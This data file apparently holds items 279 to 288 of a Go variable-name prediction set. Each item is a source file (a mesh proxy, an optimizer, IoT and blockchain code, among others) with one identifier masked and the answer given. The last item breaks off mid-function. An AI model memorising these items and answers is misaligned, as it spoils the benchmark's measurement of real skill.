279,"package main import ( ""flag"" ""fmt"" ""net"" ""net/http"" ""net/http/pprof"" ""os"" ""github.com/opentracing/opentracing-go"" ""github.com/patrickmn/go-cache"" ""github.com/prometheus/client_golang/prometheus/promhttp"" jaegercfg ""github.com/uber/jaeger-client-go/config"" ""gopkg.in/alexcesaro/statsd.v2"" ""github.com/Lookyan/netramesh/internal/config"" ""github.com/Lookyan/netramesh/pkg/estabcache"" ""github.com/Lookyan/netramesh/pkg/log"" ""github.com/Lookyan/netramesh/pkg/protocol"" ""github.com/Lookyan/netramesh/pkg/transport"" ) func main() { logger, err := log.Init(""NETRA"", os.Getenv(log.EnvNetraLoggerLevel), os.Stderr) if err != nil { log.Fatal(err.Error()) } serviceName := flag.String(""service-name"", """", ""service name for jaeger"") flag.Parse() if *serviceName == """" { logger.Fatal(""service-name flag should be set"") } config.SetServiceName(*serviceName) err = config.GlobalConfigFromENV(logger) if err != nil { logger.Fatal(err.Error()) } // init statsd client statsdMetricsClient, err := statsd.New(statsd.Mute(!config.GetNetraConfig().StatsdEnabled), statsd.Address(config.GetNetraConfig().StatsdAddress), statsd.Prefix(config.GetNetraConfig().StatsdPrefix)) if err != nil { logger.Errorf(""Can not init statsd metrics: %s"", err.Error()) } go func() { [MASK] := http.NewServeMux() [MASK] .HandleFunc(""/debug/pprof/"", pprof.Index) [MASK] .HandleFunc(""/debug/pprof/cmdline"", pprof.Cmdline) [MASK] .HandleFunc(""/debug/pprof/profile"", pprof.Profile) [MASK] .HandleFunc(""/debug/pprof/symbol"", pprof.Symbol) [MASK] .HandleFunc(""/debug/pprof/trace"", pprof.Trace) logger.Error( http.ListenAndServe( fmt.Sprintf(""0.0.0.0:%d"", config.GetNetraConfig().PprofPort), [MASK] )) }() go func() { logger.Error( http.ListenAndServe( fmt.Sprintf(""0.0.0.0:%d"", config.GetNetraConfig().PrometheusPort), promhttp.Handler())) }() os.Setenv(""JAEGER_SERVICE_NAME"", *serviceName) cfg, err := jaegercfg.FromEnv() if err != nil { // parsing errors might happen here, such as when we get a string where we expect a number logger.Fatalf(""Could not parse Jaeger env vars: %s"", err.Error()) } tracer, closer, err := cfg.NewTracer() if err != nil { logger.Fatalf(""Could not initialize jaeger tracer: %s"", err.Error()) } defer closer.Close() opentracing.SetGlobalTracer(tracer) addr := fmt.Sprintf(""0.0.0.0:%d"", config.GetNetraConfig().Port) lAddr, err := net.ResolveTCPAddr(""tcp"", addr) if err != nil { logger.Fatal(err.Error()) } ln, err := net.ListenTCP(""tcp"", lAddr) if err != nil { logger.Fatal(err.Error()) } establishedCache := estabcache.NewEstablishedCache() tracingContextMapping := cache.New( config.GetNetraConfig().TracingContextExpiration, config.GetNetraConfig().TracingContextCleanupInterval, ) routingInfoContextMapping := cache.New( config.GetNetraConfig().RoutingContextExpiration, config.GetNetraConfig().RoutingContextCleanupInterval, ) protocol.InitHandlerRequest(logger, statsdMetricsClient, tracingContextMapping, routingInfoContextMapping) for { conn, err := ln.AcceptTCP() if err != nil { logger.Warning(err.Error()) continue } go transport.HandleConnection( logger, conn, establishedCache, tracingContextMapping, routingInfoContextMapping, statsdMetricsClient) } } ",mux 280,"package methods import ( ""fmt"" ""math"" ) var stepQA = 1 // QuadraticApproximation реализует метод квадратичной аппроксимации для поиска минимума функции func QuadraticApproximation(f func(float64) float64, x1, x2, x3, [MASK] float64) (float64, float64) { for math.Abs(x3-x1) > [MASK] { fmt.Printf(""Шаг: %d\nОтрезок: [%f; %f]\nТекущий минимум: %f\n"", stepQA, x1, x3, x2) f1, f2, f3 := f(x1), f(x2), f(x3) // Вычисляем вершину параболы, аппроксимирующей функцию numerator := (math.Pow(x2, 2)-math.Pow(x3, 2))*f1 + (math.Pow(x3, 2)-math.Pow(x1, 2))*f2 + (math.Pow(x1, 2)-math.Pow(x2, 2))*f3 denominator := (x2-x3)*f1 + (x3-x1)*f2 + (x1-x2)*f3 if denominator == 0 { // Избегаем деления на ноль x1 = min(x1, x2, x3) continue } xMin := 0.5 * numerator / denominator // Обновляем точки для следующей итерации if xMin > x2 { fmt.Printf(""x_min = %f > x2 = %f\nСледовательно x1 = x2 = %f и x2 = x_min = %f\n"", xMin, x2, x2, xMin) x1, x2 = x2, xMin } else { fmt.Printf(""x_min = %f <= x2 = %f\nСледовательно x3 = x2 = %f и x2 = x_min = %f\n"", xMin, x2, x2, xMin) x2, x3 = xMin, x2 } stepQA++ fmt.Printf(""x3 - x1 = %f\n"", x3-x1) } return x2, f(x2) } //func SolveBySquareApproximation(f func(float64) float64, yEps float64, xEps float64) (float64, float64) { // x1 := 0.0 // deltaX := 0.5 // // for { // x2 := x1 + deltaX // y1 := f(x1) // y2 := f(x2) // // x3 := 0.0 // if y1 > y2 { // x3 = x1 + 2*deltaX // } else { // x3 = x1 - deltaX // } // // y3 := f(x3) // // for { // fMin := min(y1, y2, y3) // xMin := min(x1, x2, x3) // // if (x2-x3)*y1+(x3-x1)*y2+(x1-x2)*y3 == 0 { // x1 = xMin // break // } // xStripe := 0.5 * (((math.Pow(x2, 2)-math.Pow(x3, 2))*y1 + (math.Pow(x3, 2)-math.Pow(x1, 2))*y2 + (math.Pow(x1, 2)-math.Pow(x2, 2))*y3) / ((x2-x3)*y1 + (x3-x1)*y2 + (x1-x2)*y3)) // fXStripe := f(xStripe) // // yCondition := math.Abs((fMin-fXStripe)/fXStripe) < yEps // xCondition := math.Abs((xMin-xStripe)/xStripe) < xEps // // if xCondition && yCondition { // // а // xM := xMin // return xM, f(xM) // } else if xCondition || yCondition { // if xStripe >= x1 && xStripe <= x3 { // // б // x2 = min(xStripe, xMin) // x1 = min(x1, x2, x3) // x3 = max(x1, x2, x3) // continue // } else { // // в // x1 = xStripe // break // } // } // } // } //} ",eps 281,"package main import ( ""flag"" ""github.com/hazcod/aikido-sdk-go/config"" ""github.com/hazcod/aikido-sdk-go/pkg/aikido"" ""github.com/sirupsen/logrus"" ) func main() { //ctx := context.Background() logger := logrus.New() logger.SetLevel(logrus.InfoLevel) confFile := flag.String(""config"", ""config.yml"", ""The YAML configuration file."") flag.Parse() conf := config.Config{} if err := conf.Load(*confFile); err != nil { logger.WithError(err).WithField(""config"", *confFile).Fatal(""failed to load configuration"") } if err := conf.Validate(); err != nil { logger.WithError(err).WithField(""config"", *confFile).Fatal(""invalid configuration"") } logrusLevel, err := logrus.ParseLevel(conf.Log.Level) if err != nil { logger.WithError(err).Error(""invalid log level provided"") logrusLevel = logrus.InfoLevel } logger.SetLevel(logrusLevel) // --- [MASK] , err := aikido.New(logger, conf.Aikido.ClientID, conf.Aikido.ClientSecret) if err != nil { logger.WithError(err).Fatal(""failed to create aikido client"") } issues, err := [MASK] .GetIssues(true) if err != nil { logger.WithError(err).Fatal(""failed to get issues"") } logger.Infof(""Retrieved %d issues:"", len(issues)) openIssues := 0 for _, issue := range issues { openIssues += 1 logger.Info(issue.GetName()) } logger.Infof(""Retrieved %d open issues."", openIssues) } ",aikClient 282,"package main import ( ""bytes"" ""encoding/json"" ""fmt"" ""net/http"" ""os"" ) type Alarm struct { Imei string `json:""device_imei""` PositionType *string `json:""position_type,omitempty""` Lat *string `json:""lat,omitempty""` Lng *string `json:""lng,omitempty""` Time int64 `json:""time""` Address *string `json:""address,omitempty""` AlarmCode string `json:""alarm_code""` AlarmType int64 `json:""alarm_type""` Course *int64 `json:""course,omitempty""` DeviceType int64 `json:""device_type""` Speed *int64 `json:""speed,omitempty""` } const ALARMS_API_URL = ""https://api.road-safety-ec.com/api/v1/alarms/"" func (a *Alarm) CreateAlarm() error { var apiKey = os.Getenv(""API_KEY"") jsonAlarm, err := json.Marshal(a) if err != nil { return err } client := &http.Client{} [MASK] , err := http.NewRequest(""POST"", ALARMS_API_URL, bytes.NewBuffer(jsonAlarm)) if err != nil { return err } [MASK] .Header.Set(""Content-Type"", ""application/json"") [MASK] .Header.Set(""Authorization"", fmt.Sprintf(""Token %s"", apiKey)) resp, err := client.Do( [MASK] ) if err != nil { return err } defer resp.Body.Close() if resp.StatusCode != http.StatusCreated && resp.StatusCode != http.StatusAlreadyReported { return fmt.Errorf(""failed to create alarm: %v"", resp.Status) } return nil } ",req 283,"package main import ( ""fmt"" ""os"" IBMIoTTransforms ""github.com/edgexfoundry-holding/app-functions-ibmiot/pkg/transforms"" ""github.com/edgexfoundry/app-functions-sdk-go/appcontext"" ""github.com/edgexfoundry/app-functions-sdk-go/appsdk"" ""github.com/edgexfoundry/app-functions-sdk-go/pkg/transforms"" ) const ( serviceKey = ""IBMExport"" ) func main() { // 1) First thing to do is to create an instance of the EdgeX SDK and initialize it. edgexSdk := &appsdk.AppFunctionsSDK{ServiceKey: serviceKey} if err := edgexSdk.Initialize(); err != nil { edgexSdk.LoggingClient.Error(fmt.Sprintf(""SDK initialization failed: %v\n"", err)) os.Exit(-1) } // 2) Since our DeviceNameFilter Function requires the list of device names we would // like to search for, we'll go ahead and define that now. [MASK] := []string{""Random-Integer-Generator01""} // 3) This is our pipeline configuration, the collection of functions to // execute every time an event is triggered. // Load IBMIoT-specific MQTT configuration from App SDK // You can also create IBMIoTMQTTConfig struct yourself config, err := IBMIoTTransforms.LoadIBMIoTMQTTConfig(edgexSdk) if err != nil { edgexSdk.LoggingClient.Error(fmt.Sprintf(""Failed to load IBMIoT MQTT configurations: %v\n"", err)) os.Exit(-1) } edgexSdk.SetFunctionsPipeline( transforms.NewFilter( [MASK] ).FilterByDeviceName, IBMIoTTransforms.NewConversion().TransformToIBMIoT, printIBMIoTDataToConsole, IBMIoTTransforms.NewIBMIoTMQTTSender(edgexSdk.LoggingClient, config).MQTTSend, ) // 5) Lastly, we'll go ahead and tell the SDK to ""start"" and begin listening for events // to trigger the pipeline. err = edgexSdk.MakeItRun() if err != nil { edgexSdk.LoggingClient.Error(""MakeItRun returned error: "", err.Error()) os.Exit(-1) } // Do any required cleanup here os.Exit(0) } func printIBMIoTDataToConsole(edgexcontext *appcontext.Context, params ...interface{}) (bool, interface{}) { if len(params) < 1 { // We didn't receive a result return false, nil } fmt.Println(params[0].(string)) // Leverage the built in logging service in EdgeX edgexcontext.LoggingClient.Debug(""Printed to console"") edgexcontext.Complete([]byte(params[0].(string))) return false, nil } ",deviceName 284,"package commands import ( ""errors"" ""fmt"" ""path/filepath"" ""photosorter/utils"" ""strings"" ) type CheckCommand struct { ArchivePath string } func (currentCommand CheckCommand) getDirectoryForIteration() string { return currentCommand.ArchivePath } func (currentCommand CheckCommand) CanRun(file string) bool { return utils.IsAllowedExtension(file) } func (currentCommand CheckCommand) Run(file string) error { return currentCommand.checkFile(file) } func (currentCommand CheckCommand) checkFile(filePath string) error { array := strings.Split(filepath.Base(filePath), ""."") arrayLen := len(array) slice := array[arrayLen-2 : arrayLen-1] if len(slice) == 0 { return errors.New(""hash in file name not found"") } [MASK] := slice[0] hash, _ := utils.FileContentHash(filePath) if [MASK] != hash { fmt.Println(""[FAIL]"", filePath, ""Expected:"", [MASK] , ""Current:"", hash) } else { fmt.Println(""[OK]"", filePath) } return nil } ",hashFromFileName 285,"// - // ========================LICENSE_START================================= // O-RAN-SC // %% // Copyright (C) 2021: Nordix Foundation // %% // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // ========================LICENSE_END=================================== // package config import ( ""encoding/json"" ""fmt"" ""os"" ""path/filepath"" ""strconv"" log ""github.com/sirupsen/logrus"" ) type Config struct { LogLevel log.Level InfoProducerHost string InfoProducerPort int InfoCoordinatorAddress string DMaaPMRAddress string KafkaBootstrapServers string ProducerCertPath string ProducerKeyPath string } func New() *Config { return &Config{ InfoProducerHost: getEnv(""INFO_PRODUCER_HOST"", """"), InfoProducerPort: getEnvAsInt(""INFO_PRODUCER_PORT"", 8085), InfoCoordinatorAddress: getEnv(""INFO_COORD_ADDR"", ""https://informationservice:8434""), DMaaPMRAddress: getEnv(""DMAAP_MR_ADDR"", ""https://message-router.onap:3905""), KafkaBootstrapServers: getEnv(""KAFKA_BOOTSTRAP_SERVERS"", ""localhost:9092""), ProducerCertPath: getEnv(""PRODUCER_CERT_PATH"", ""security/producer.crt""), ProducerKeyPath: getEnv(""PRODUCER_KEY_PATH"", ""security/producer.key""), LogLevel: getLogLevel(), } } func (c Config) String() string { return fmt.Sprintf(""InfoProducerHost: %v, InfoProducerPort: %v, InfoCoordinatorAddress: %v, DMaaPMRAddress: %v, ProducerCertPath: %v, ProducerKeyPath: %v, LogLevel: %v"", c.InfoProducerHost, c.InfoProducerPort, c.InfoCoordinatorAddress, c.DMaaPMRAddress, c.ProducerCertPath, c.ProducerKeyPath, c.LogLevel) } func getEnv(key string, defaultVal string) string { if value, exists := os.LookupEnv(key); exists { return value } return defaultVal } func getEnvAsInt(name string, defaultVal int) int { valueStr := getEnv(name, """") if value, err := strconv.Atoi(valueStr); err == nil { return value } else if valueStr != """" { log.Warnf(""Invalid int value: %v for variable: %v. Default value: %v will be used"", valueStr, name, defaultVal) } return defaultVal } func getLogLevel() log.Level { logLevelStr := getEnv(""LOG_LEVEL"", ""Info"") if logLevel, err := log.ParseLevel(logLevelStr); err == nil { return logLevel } else { log.Warnf(""Invalid log level: %v. Log level will be Info!"", logLevelStr) return log.InfoLevel } } func GetJobTypesFromConfiguration(configFolder string) ([]TypeDefinition, error) { typeDefsByte, err := os.ReadFile(filepath.Join(configFolder, ""type_config.json"")) if err != nil { return nil, err } typeDefs := struct { Types []TypeDefinition `json:""types""` }{} err = json.Unmarshal(typeDefsByte, &typeDefs) if err != nil { return nil, err } [MASK] , err := getTypeSchema(filepath.Join(configFolder, ""typeSchemaKafka.json"")) if err != nil { return nil, err } dMaaPTypeSchema, err := getTypeSchema(filepath.Join(configFolder, ""typeSchemaDmaap.json"")) if err != nil { return nil, err } for i, typeDef := range typeDefs.Types { if typeDef.IsKafkaType() { typeDefs.Types[i].TypeSchema = [MASK] } else { typeDefs.Types[i].TypeSchema = dMaaPTypeSchema } } return typeDefs.Types, nil } func getTypeSchema(schemaFile string) (interface{}, error) { typeDefsByte, err := os.ReadFile(schemaFile) if err != nil { return nil, err } var schema interface{} err = json.Unmarshal(typeDefsByte, &schema) if err != nil { return nil, err } return schema, nil } ",kafkaTypeSchema 286,"// This program parses an ungrammar file and dumps the ungrammar into JSON // format that any tool/language can read. // // It reads stdin and writes to stdout. // // The emitted JSON is has minimal whitespace and is not formatted; pipe through // `jq .` for a pretty/formatted output. // // [https://eli.thegreenplace.net] // This code is in the public domain. package main import ( ""encoding/json"" ""io"" ""log"" ""os"" ""github.com/eliben/go-ungrammar"" ) func main() { if len(os.Args) != 1 { log.Fatal(""Usage: ungrammar2json < input.ungram"") } [MASK] , err := io.ReadAll(os.Stdin) if err != nil { log.Fatal(err) } p := ungrammar.NewParser(string( [MASK] )) grammar, err := p.ParseGrammar() if err != nil { log.Fatal(""Error parsing ungrammar:"", err) } grammarObj := make(object) for name, rule := range grammar.Rules { grammarObj[name] = ruleToObj(rule) } enc := json.NewEncoder(os.Stdout) if err := enc.Encode(grammarObj); err != nil { log.Fatal(""Error encoding to JSON:"", err) } } // object is a map with arbitrary values suitable for JSON encoding. type object map[string]any func ruleToObj(r ungrammar.Rule) object { switch rr := r.(type) { case *ungrammar.Labeled: return object{""label"": rr.Label, ""rule"": ruleToObj(rr.Rule)} case *ungrammar.Node: return object{""node"": rr.Name} case *ungrammar.Token: return object{""token"": rr.Value} case *ungrammar.Rep: return object{""rep"": ruleToObj(rr.Rule)} case *ungrammar.Opt: return object{""opt"": ruleToObj(rr.Rule)} case *ungrammar.Seq: var subRules []object for _, sr := range rr.Rules { subRules = append(subRules, ruleToObj(sr)) } return object{""seq"": subRules} case *ungrammar.Alt: var subRules []object for _, sr := range rr.Rules { subRules = append(subRules, ruleToObj(sr)) } return object{""alt"": subRules} default: return nil } } ",stdinBytes 287,"package main import ( ""bufio"" ""os"" ""strings"" ""unicode"" ) type Dict struct { words []string } func NewDict(dict string, minLen, maxLen int) *Dict { readFile, err := os.Open(dict) if err != nil { panic(err) // very lazy error handling } defer readFile.Close() fileScanner := bufio.NewScanner(readFile) fileScanner.Split(bufio.ScanLines) var words []string for fileScanner.Scan() { w := fileScanner.Text() if len(w) >= minLen && len(w) <= maxLen && IsLower(w) { words = append(words, w) } } return &Dict{words: words} } func IsLower(s string) bool { for _, r := range s { if !unicode.IsLower(r) && unicode.IsLetter(r) { return false } } return true } func (d *Dict) Search(word string) ( [MASK] , partialMatch bool) { for _, w := range d.words { if w == word { [MASK] = true } else if strings.HasPrefix(w, word) { partialMatch = true } if [MASK] && partialMatch { break } // should really check if gone past where a match is possible } return } ",exactMatch 288,"package main import ( ""encoding/json"" ""fmt"" ""strconv"" ""strings"" ""time"" ""github.com/hyperledger/fabric-contract-api-go/contractapi"" ) // SmartContract provides functions for managing travel records type SmartContract struct { contractapi.Contract } // TransportMode represents the mode of transportation type TransportMode string const ( Air TransportMode = ""air"" Land TransportMode = ""land"" Water TransportMode = ""water"" ) // SeatStatus represents the status of a seat type SeatStatus string const ( Vacant SeatStatus = ""vacant"" Booked SeatStatus = ""booked"" Blocked SeatStatus = ""blocked"" ) // ProfileVisibility represents the visibility of a user profile type ProfileVisibility string const ( Public ProfileVisibility = ""public"" Anonymous ProfileVisibility = ""anonymous"" ) // Seat represents a seat in a transport type Seat struct { ID string `json:""id""` Number string `json:""number""` Status SeatStatus `json:""status""` BookedBy string `json:""bookedBy""` } // Customer represents a customer in the system type Customer struct { ID string `json:""id""` Name string `json:""name""` Email string `json:""email""` Phone string `json:""phone""` Visibility ProfileVisibility `json:""visibility""` RegisteredDate string `json:""registeredDate""` IsActive bool `json:""isActive""` BookingHistory []string `json:""bookingHistory""` } // Provider represents a service provider in the system type Provider struct { ID string `json:""id""` Name string `json:""name""` Email string `json:""email""` Phone string `json:""phone""` TransportMode string `json:""transportMode""` Rating float64 `json:""rating""` TotalRatings int `json:""totalRatings""` RegisteredDate string `json:""registeredDate""` IsActive bool `json:""isActive""` TransportList []string `json:""transportList""` } // TravelRecord represents a travel record type TravelRecord struct { ID string `json:""id""` Destination string `json:""destination""` Date string `json:""date""` Status string `json:""status""` Owner string `json:""owner""` } // Ticket represents a travel ticket type Ticket struct { ID string `json:""id""` Origin string `json:""origin""` Destination string `json:""destination""` DepartureTime string `json:""departureTime""` ArrivalTime string `json:""arrivalTime""` Price float64 `json:""price""` DynamicPrice float64 `json:""dynamicPrice""` AvailableSeats int `json:""availableSeats""` TotalSeats int `json:""totalSeats""` Seats []Seat `json:""seats""` ServiceProvider string `json:""serviceProvider""` TransportMode TransportMode `json:""transportMode""` Status string `json:""status""` // Available, Booked, Cancelled CreatedAt string `json:""createdAt""` UpdatedAt string `json:""updatedAt""` } // Booking represents a ticket booking type Booking struct { ID string `json:""id""` TicketID string `json:""ticketId""` UserID string `json:""userId""` SeatIDs []string `json:""seatIds""` NumberOfSeats int `json:""numberOfSeats""` TotalPrice float64 `json:""totalPrice""` Status string `json:""status""` // Pending, Confirmed, Cancelled IsPaymentConfirmed bool `json:""isPaymentConfirmed""` PaymentBlockHeight string `json:""paymentBlockHeight,omitempty""` CreatedAt string `json:""createdAt""` UpdatedAt string `json:""updatedAt""` } // Payment represents a payment for a booking type Payment struct { ID string `json:""id""` BookingID string `json:""bookingId""` Amount float64 `json:""amount""` Status string `json:""status""` // Pending, Confirmed, Refunded TransactionID string `json:""transactionId""` CreatedAt string `json:""createdAt""` UpdatedAt string `json:""updatedAt""` } // getCurrentTime returns the current time in RFC3339 format in UTC func getCurrentTime() string { return time.Now().UTC().Format(time.RFC3339) } //diagnostic test func (s *SmartContract) PingPut(ctx contractapi.TransactionContextInterface, key string, value string) error { return ctx.GetStub().PutState(key, []byte(value)) } //diagnostic test2 func (s *SmartContract) GetRawState(ctx contractapi.TransactionContextInterface, key string) (string, error) { data, err := ctx.GetStub().GetState(key) if err != nil { return """", fmt.Errorf(""failed to get state: %v"", err) } if data == nil { return """", fmt.Errorf(""no data found for key %s"", key) } return string(data), nil } // InitLedger adds a base set of travel records to the ledger func (s *SmartContract) InitLedger(ctx contractapi.TransactionContextInterface) error { travelRecords := []TravelRecord{ {ID: ""TR1"", Destination: ""Paris"", Date: ""2024-05-01"", Status: ""Planned"", Owner: ""Org1MSP""}, {ID: ""TR2"", Destination: ""London"", Date: ""2024-06-15"", Status: ""Confirmed"", Owner: ""Org2MSP""}, } for _, record := range travelRecords { recordJSON, err := json.Marshal(record) if err != nil { return fmt.Errorf(""failed to marshal travel record: %v"", err) } err = ctx.GetStub().PutState(record.ID, recordJSON) if err != nil { return fmt.Errorf(""failed to put travel record: %v"", err) } } return nil } // CreateTravelRecord creates a new travel record func (s *SmartContract) CreateTravelRecord(ctx contractapi.TransactionContextInterface, id string, destination string, date string) error { exists, err := s.TravelRecordExists(ctx, id) if err != nil { return err } if exists { return fmt.Errorf(""the travel record %s already exists"", id) } mspID, err := ctx.GetClientIdentity().GetMSPID() if err != nil { return fmt.Errorf(""failed to get MSP ID: %v"", err) } record := TravelRecord{ ID: id, Destination: destination, Date: date, Status: ""Planned"", Owner: mspID, } recordJSON, err := json.Marshal(record) if err != nil { return fmt.Errorf(""failed to marshal travel record: %v"", err) } return ctx.GetStub().PutState(id, recordJSON) } // TravelRecordExists returns true when travel record with given ID exists in world state func (s *SmartContract) TravelRecordExists(ctx contractapi.TransactionContextInterface, id string) (bool, error) { recordJSON, err := ctx.GetStub().GetState(id) if err != nil { return false, fmt.Errorf(""failed to read from world state: %v"", err) } return recordJSON != nil, nil } // ReadTravelRecord returns the travel record stored in the world state with given id func (s *SmartContract) ReadTravelRecord(ctx contractapi.TransactionContextInterface, id string) (*TravelRecord, error) { recordJSON, err := ctx.GetStub().GetState(id) if err != nil { return nil, fmt.Errorf(""failed to read from world state: %v"", err) } if recordJSON == nil { return nil, fmt.Errorf(""the travel record %s does not exist"", id) } var record TravelRecord err = json.Unmarshal(recordJSON, &record) if err != nil { return nil, err } return &record, nil } // UpdateTravelRecord updates an existing travel record in the world state with provided parameters func (s *SmartContract) UpdateTravelRecord(ctx contractapi.TransactionContextInterface, id string, destination string, date string, status string) error { exists, err := s.TravelRecordExists(ctx, id) if err != nil { return err } if !exists { return fmt.Errorf(""the travel record %s does not exist"", id) } mspID, err := ctx.GetClientIdentity().GetMSPID() if err != nil { return fmt.Errorf(""failed to get MSP ID: %v"", err) } record := TravelRecord{ ID: id, Destination: destination, Date: date, Status: status, Owner: mspID, } recordJSON, err := json.Marshal(record) if err != nil { return fmt.Errorf(""failed to marshal travel record: %v"", err) } return ctx.GetStub().PutState(id, recordJSON) } // DeleteTravelRecord deletes a given travel record from the world state func (s *SmartContract) DeleteTravelRecord(ctx contractapi.TransactionContextInterface, id string) error { exists, err := s.TravelRecordExists(ctx, id) if err != nil { return err } if !exists { return fmt.Errorf(""the travel record %s does not exist"", id) } return ctx.GetStub().DelState(id) } // GetAllTravelRecords returns all travel records found in world state func (s *SmartContract) GetAllTravelRecords(ctx contractapi.TransactionContextInterface) ([]*TravelRecord, error) { resultsIterator, err := ctx.GetStub().GetStateByRange("""", """") if err != nil { return nil, err } defer resultsIterator.Close() var records []*TravelRecord for resultsIterator.HasNext() { queryResponse, err := resultsIterator.Next() if err != nil { return nil, err } var record TravelRecord err = json.Unmarshal(queryResponse.Value, &record) if err != nil { continue // Skip records that can't be unmarshaled } records = append(records, &record) } return records, nil } // TicketExists returns true when ticket with given ID exists in world state func (s *SmartContract) TicketExists(ctx contractapi.TransactionContextInterface, id string) (bool, error) { ticketJSON, err := ctx.GetStub().GetState(id) if err != nil { return false, fmt.Errorf(""failed to read from world state: %v"", err) } return ticketJSON != nil, nil } // updateState is a helper function to update state with proper error handling func (s *SmartContract) updateState(ctx contractapi.TransactionContextInterface, key string, value interface{}) error { valueJSON, err := json.Marshal(value) if err != nil { return fmt.Errorf(""failed to marshal value: %v"", err) } err = ctx.GetStub().PutState(key, valueJSON) if err != nil { return fmt.Errorf(""failed to update state: %v"", err) } return nil } // CreateTicket creates a new ticket with seat-level details func (s *SmartContract) CreateTicket(ctx contractapi.TransactionContextInterface, id string, origin string, destination string, departureTime string, arrivalTime string, price string, totalSeats string, serviceProvider string, transportMode string) error { // Validate required fields if id == """" || origin == """" || destination == """" || departureTime == """" || arrivalTime == """" || price == """" || totalSeats == """" || serviceProvider == """" || transportMode == """" { return fmt.Errorf(""all fields are required for ticket creation"") } // Check if ticket already exists exists, err := s.TicketExists(ctx, id) if err != nil { return fmt.Errorf(""failed to check ticket existence: %v"", err) } if exists { return fmt.Errorf(""ticket with ID %s already exists"", id) } // Check if provider exists and is active provider, err := s.GetProvider(ctx, serviceProvider) if err != nil { return fmt.Errorf(""failed to get provider: %v"", err) } if !provider.IsActive { return fmt.Errorf(""provider %s is not active"", serviceProvider) } // Validate transport mode if transportMode != string(Air) && transportMode != string(Land) && transportMode != string(Water) { return fmt.Errorf(""invalid transport mode: %s"", transportMode) } // Validate and parse price priceFloat, err := strconv.ParseFloat(price, 64) if err != nil { return fmt.Errorf(""failed to parse price: %v"", err) } if priceFloat <= 0 { return fmt.Errorf(""price must be greater than 0"") } // Validate and parse total seats totalSeatsInt, err := strconv.Atoi(totalSeats) if err != nil { return fmt.Errorf(""failed to parse total seats: %v"", err) } if totalSeatsInt <= 0 { return fmt.Errorf(""total seats must be greater than 0"") } // Validate date formats departureTimeParsed, err := time.Parse(time.RFC3339, departureTime) if err != nil { return fmt.Errorf(""invalid departure time format: %v"", err) } arrivalTimeParsed, err := time.Parse(time.RFC3339, arrivalTime) if err != nil { return fmt.Errorf(""invalid arrival time format: %v"", err) } // Validate departure is before arrival if departureTimeParsed.After(arrivalTimeParsed) { return fmt.Errorf(""departure time must be before arrival time"") } // Create seats seats := make([]Seat, totalSeatsInt) for i := 0; i < totalSeatsInt; i++ { seats[i] = Seat{ ID: fmt.Sprintf(""%s-seat-%d"", id, i+1), Number: fmt.Sprintf(""%d"", i+1), Status: Vacant, BookedBy: """", } } // Create ticket with UTC timestamps ticket := Ticket{ ID: id, Origin: origin, Destination: destination, DepartureTime: departureTime, ArrivalTime: arrivalTime, Price: priceFloat, DynamicPrice: priceFloat, AvailableSeats: totalSeatsInt, TotalSeats: totalSeatsInt, Seats: seats, ServiceProvider: serviceProvider, TransportMode: TransportMode(transportMode), Status: ""Available"", CreatedAt: getCurrentTime(), UpdatedAt: getCurrentTime(), } // Update provider's transport list provider.TransportList = append(provider.TransportList, id) // Store ticket and updated provider using the helper function if err := s.updateState(ctx, id, ticket); err != nil { return fmt.Errorf(""failed to store ticket: %v"", err) } if err := s.updateState(ctx, serviceProvider, provider); err != nil { return fmt.Errorf(""failed to update provider: %v"", err) } return nil } // UpdateDynamicPrice updates the dynamic price of a ticket based on demand and time func (s *SmartContract) UpdateDynamicPrice(ctx contractapi.TransactionContextInterface, ticketID string) error { ticket, err := s.GetTicket(ctx, ticketID) if err != nil { return fmt.Errorf(""failed to get ticket: %v"", err) } // Calculate occupancy rate occupancyRate := float64(ticket.TotalSeats-ticket.AvailableSeats) / float64(ticket.TotalSeats) // Calculate days until departure departureTime, err := time.Parse(time.RFC3339, ticket.DepartureTime) if err != nil { return fmt.Errorf(""failed to parse departure time: %v"", err) } daysUntilDeparture := time.Until(departureTime).Hours() / 24 // Get current month for seasonal pricing currentMonth := time.Now().Month() isPeakSeason := currentMonth >= time.June && currentMonth <= time.August || // Summer currentMonth >= time.December && currentMonth <= time.January // Holiday season // Dynamic pricing logic: // 1. Base price increases with occupancy rate (up to 50% increase at 100% occupancy) // 2. Price increases as departure date approaches (up to 30% increase for last-minute bookings) // 3. Seasonal pricing (20% increase during peak seasons) // 4. Minimum price is the base price, maximum is 2.5x base price // Occupancy factor (1.0 to 1.5) occupancyFactor := 1.0 + (occupancyRate * 0.5) // Time factor (1.0 to 1.3) timeFactor := 1.0 if daysUntilDeparture < 1 { timeFactor = 1.3 // 30% increase for last-minute bookings } else if daysUntilDeparture < 3 { timeFactor = 1.2 // 20% increase for bookings within 3 days } else if daysUntilDeparture < 7 { timeFactor = 1.1 // 10% increase for bookings within a week } // Seasonal factor (1.0 or 1.2) seasonalFactor := 1.0 if isPeakSeason { seasonalFactor = 1.2 // 20% increase during peak seasons } // Calculate new price with all factors newPrice := ticket.Price * occupancyFactor * timeFactor * seasonalFactor // Apply price caps if newPrice < ticket.Price { newPrice = ticket.Price // Minimum price is base price } if newPrice > ticket.Price*2.5 { newPrice = ticket.Price * 2.5 // Maximum price is 2.5x base price } // Round to 2 decimal places newPrice = float64(int(newPrice*100)) / 100 ticket.DynamicPrice = newPrice ticket.UpdatedAt = getCurrentTime() return s.updateState(ctx, ticketID, ticket) } // BookTicket creates a new booking with seat-level details func (s *SmartContract) BookTicket(ctx contractapi.TransactionContextInterface, bookingID string, ticketID string, userID string, seatNumbers []string) error { bookingAsBytes, err := ctx.GetStub().GetState(bookingID) if bookingAsBytes != nil { return fmt.Errorf(""booking ID %s already exists"", bookingID) } // Get the ticket ticket, err := s.GetTicket(ctx, ticketID) if err != nil { return fmt.Errorf(""failed to get ticket: %v"", err) } // Check if ticket is available if ticket.Status != ""Available"" { return fmt.Errorf(""ticket %s is not available for booking"", ticketID) } // Check if customer exists and is active customer, err := s.GetCustomer(ctx, userID) if err != nil { return fmt.Errorf(""failed to get customer: %v"", err) } if !customer.IsActive { return fmt.Errorf(""customer %s is not active"", userID) } // Validate and reserve seats seatIDs := make([]string, 0) for _, seatNumber := range seatNumbers { 